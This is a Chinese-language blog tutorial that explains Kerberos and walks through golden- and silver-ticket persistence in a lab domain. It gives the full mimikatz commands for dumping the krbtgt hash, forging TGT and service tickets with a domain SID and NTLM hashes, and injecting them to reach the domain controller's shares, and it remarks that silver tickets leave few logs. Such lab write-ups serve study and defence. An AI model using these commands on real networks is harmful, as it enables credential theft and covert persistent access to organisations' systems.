权限维持之黄金白银票据

权限维持之黄金白银票据

Gat1ta 1,554 2021-12-19

攻击者在提升权限之后,往往会通过建立后门来维持对目标主机的控制权。这样一来,即使修复了被攻击者利用的系统漏洞,攻击者还是可以通过后门来继续控制目标系统。今天来学习一下域权限维持常用的黄金白银票据。

域控权限维持之黄金票据(Golden Ticket)

想要了解什么是黄金票据首先要了解什么是Kerberos协议。
Kerberos 是一种由 MIT(麻省理工大学)提出的一种网络身份验证协议。它旨在通过使用密钥加密技术为客户端/服务器应用程序提供强身份验证。
在 Kerberos 认证中,最主要的问题是如何证明「你是你」的问题,如当一个 Client 去访问 Server 服务器上的某服务时,Server 如何判断 Client 是否有权限来访问自己主机上的服务,同时保证在这个过程中的通讯内容即使被拦截或篡改也不影响通讯的安全性,这正是 Kerberos 解决的问题。在域渗透过程中 Kerberos 协议的攻防也是很重要的存在。

Kerberos协议

在 Kerberos 协议中主要是有三个角色的存在:
1、访问服务的 Client;
2、提供服务的 Server;
3、KDC(Key Distribution Center)密钥分发中心(其中包含了The Authentication Server 和 The Ticket Granting Server)
image.png

Kerberos粗略的验证流程

当一个客户机(client)想要去访问一个服务器(server)的时候,主要会分为以下三个步骤:

1.The Authentication Service Exchange:

client像Authentication Server发送自己的用户信息,Authentication Server根据用户名在AD数据库中找到用户并认证。
认证通过后返回当前KDC中的krbtgt hash加密的Ticket Granting Ticket(TGT)票据。

2.The Ticket-Granting Service (TGS) Exchange:

client将上一步获得的TGT票据发送给TGS,TGS收到票据后通过krbtgt hash将票据解密验证。验证通过后会用Client想要访问的Server密码的HASH(想要访问的服务端HASH)加密一个ST/TGS票据并返回。

3.The Client/Server Authentication Exchange

到这一步,客户端就可以用得到的ST票据来向服务端发出申请了。
服务端接收后,用自己的 Hash 解密 ST/TGS票据来进行验证。
大概流程就是这样,详细请参考:https://www.cnblogs.com/zpchcbd/p/11707302.html

所以,什么是黄金票据?

知道了kerberos大概的验证流程,现在来讲一下什么是黄金票据。
上面说过了kerberos验证流程主要分为三个步骤,第一步向AS发送用户信息获取一个TGT票据,黄金票据就是省略了这一步,通过获得的krbtgt Hash自己伪造一个TGT票据,这样就不需要通过AS认证而可以自己伪造任何一个域用户。

复现准备

AD:windows server 2012
client: windows server 2008
域控权限维持所需要的环境是已经拿下域控权限的环境,所以这次实验也是默认已经具备域控的管理权限。
通过前面的介绍已经得知,黄金票据的关键是krbtgt用户的hash值,这个用户是创建域控的时候自动创建的,在域环境中输入以下命令就可以看到:
net user /domain
image.png

信息获取

想要伪造Ticket Granting Ticket票据通常需要掌握以下信息:
1.伪造的域管理员用户名
2.完整的域名
3.域SID
4.krbtgt的NTLM hash或AES-256值。
前三个信息可以再Client上用以下几个命令获得:

net group "Domain Admins" /domain

ipconfig /all

wmic useraccount get name,sid

image.png

image.png

image.png
wmic useraccount get name,sid可以用普通域用户权限获取域内所有用户的SID。域用户SID去掉最后面的用户ID前面的就是域的SID,就像红框里的那样。
现在就剩Krbtgt用户的hash了,这个需要在域控上获取。
在域控上使用管理员权限打开mimikatz,输入如下命令:

privilege::debug
lsadump::lsa /patch /name:krbtgt

image.png

krbtgt hash到手。
获取到我们需要的信息后,就可以着手准备伪造票据了。

伪造黄金(Golden Ticket)票据

在Client上,打开mimikatz,输入以下命令来伪造票据:

kerberos::purge		//用来清空当前会话中的票据

kerberos::golden /admin:Administrator /domain:hack.testlib /sid:S-1-5-21-2294010449-2890627480-511354046 /krbtgt:4c248f8d57a4a25163a1507206f303b7 /ticket:Administrator.kiribi

image.png

可以看到,生成的票据已经保存到当前文件夹中。

image.png

导入票据

到此为止,票据已经生成完毕,接下来就要将票据注入内存来验证是否有效。
导入票据前,先尝试访问一下域控共享文件:

image.png

不出意外,没有导入票据前是没有权限的。现在我们输入以下命令来导入票据:

kerberos::ptt Administrator.kiribi

image.png

可以看到已经导入成功,接下来我们再来尝试一下访问域控共享:

image.png

可以看到,成功访问域控共享。这说明已经获得了我们伪造的administrator账户的权限。
这里有一点要注意,在导入票据的时候,一定要先使用kerberos::purge将当前会话中的票据清空,否则可能会出现不成功的情况。

域控权限维持之白银票据(Silver Ticket)

白银票据和黄金票据一样,都是基于Kerberos协议的,Kerberos协议上面已经讲过了,这里就不在赘述。

白银票据有什么不同?

Silver Ticket(白银票据)不同于Golden Ticket(黄金票据)。Silver Ticket的利用过程是伪造TGS票据,通过已知的授权服务密码生成一张可以访问该服务的TGT。因为在票据生成过程中不需要使用KDC,所以可以绕过域控制器,很少留下日志。
Silver Ticket依赖于服务账号的密码散列值,这不同于Golden Ticket利用需要使用krbtgt账号的密码散列值,因此更加隐蔽。

复现准备

复现环境和上面的黄金票据环境一模一样,这里不再赘述。

信息获取

想要伪造Silver Ticket票据需要掌握一下信息:
1.域名
2.域SID
3.目标服务器FQDN。Fully Qualified Domain Name)全限定域名:同时带有主机名和域名的名称。
4.可利用的服务
5.服务账号的NTLM HASH。
6.需要伪造的用户名。(可以随便写)
大部分跟黄金票据差不多,挑几个不一样的说一下:
服务类型可以从以下内容中来进行选择,因为我们没有TGT去不断申请ticket,所以只能针对某一些服务来进行伪造。
image.png

服务账号的哈希要写主机用户的HASH:
image.png

接下来,就可以准备伪造票据了。

伪造白银(Silver Ticket)票据并导入

信息准备完毕,最终执行如下命令伪造票据并导入:

kerberos::purge		\\清空当前会话票据,以免对实验结果产生干扰

kerberos::golden /domain:hack.testlib /sid:S-1-5-21-2294010449-2890627480-511354046  /target:DC.hack.testlib /service:cifs /rc4:134e62e8e321f9096da7e428ccb4fe39 /user:dd /ptt

结果如下:
image.png

image.png

可以看到已经成功访问域控的共享文件。